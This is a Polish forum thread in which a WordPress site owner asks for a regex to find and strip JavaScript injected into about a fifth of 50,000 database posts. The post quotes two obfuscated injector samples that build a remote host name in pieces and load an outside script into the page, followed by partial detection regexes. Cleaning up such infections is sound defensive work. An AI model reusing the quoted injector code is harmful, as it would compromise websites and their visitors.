Regex - wyszukiwanie i usuwanie niechcianych treści

0

Hej, do bazy danych (wpisy wordpress-a) wkradła mi się nieoczekiwana treść. Około 20% wpisów (z 50tys) ma doklejony dodatkowy kod JS. Niestety kod nie jest taki sam - zmieniają się w nim nazwy zmiennych, czy niektóre parametry. Oto przykładowe skrypty:

(function(){
 uibi=document.createElement("script");uibi.type="text/javascript";
 uibi.async=true;uibi_=(("us")+"t")+"a";uibi_+=("t.i")+""+"n";uibi_+=(("f")+"o");
 uibi.src="http://"+uibi_+"/245239.7X54akvfibi0a8r0uavxlu4wm43gwt";
 document.body.appendChild(uibi);
})();

(function(){
 uqgv=document.createElement("script");uqgv.type="text/javascript";
 uqgv.async=true;uqgv_=(("us")+"t")+"a";uqgv_+=("t.i")+""+"n";uqgv_+=(("f")+"o");
 uqgv.src="http://"+uqgv_+"/330775.xa6w214lqgvg9gf06vz3ce3r108X3c";
 document.body.appendChild(uqgv);
})();

Potrzebuje wyszukać wszystkie tego typu dopiski i je usunąć. Próbowałem stworzyć regex, ale nie potrafię złapać całości, nie znalazłem też satysfakcjonującego rozwiązania w google.
Przykładowe regex:

{4}\=document.createElement\(\"script\"\);(.{4})\.type=\"text\/javascript\";
.{4}\.async\=true;.{4}_=.*

Każde z nich osobo łapie kolejną linię kodu, a chciałbym mieć wzorzec na całości.

0

Jak wersja, sam mssql nie ma wsparcia dla regex, więc czego używasz?

0

@Panczo: Mysql 10.1 - heidiSQL lub phpMyAdmin do obsługi, ewentualnie konsola, ale równie dobrze mogę polecieć skryptem w php ;)

Tak naprawdę problem rozwiązałem już półautomatycznie, jeśli jednak ktoś chciałbym podzielić się dobrą radą na przyszłość to chętnie

1 użytkowników online, w tym zalogowanych: 0, gości: 1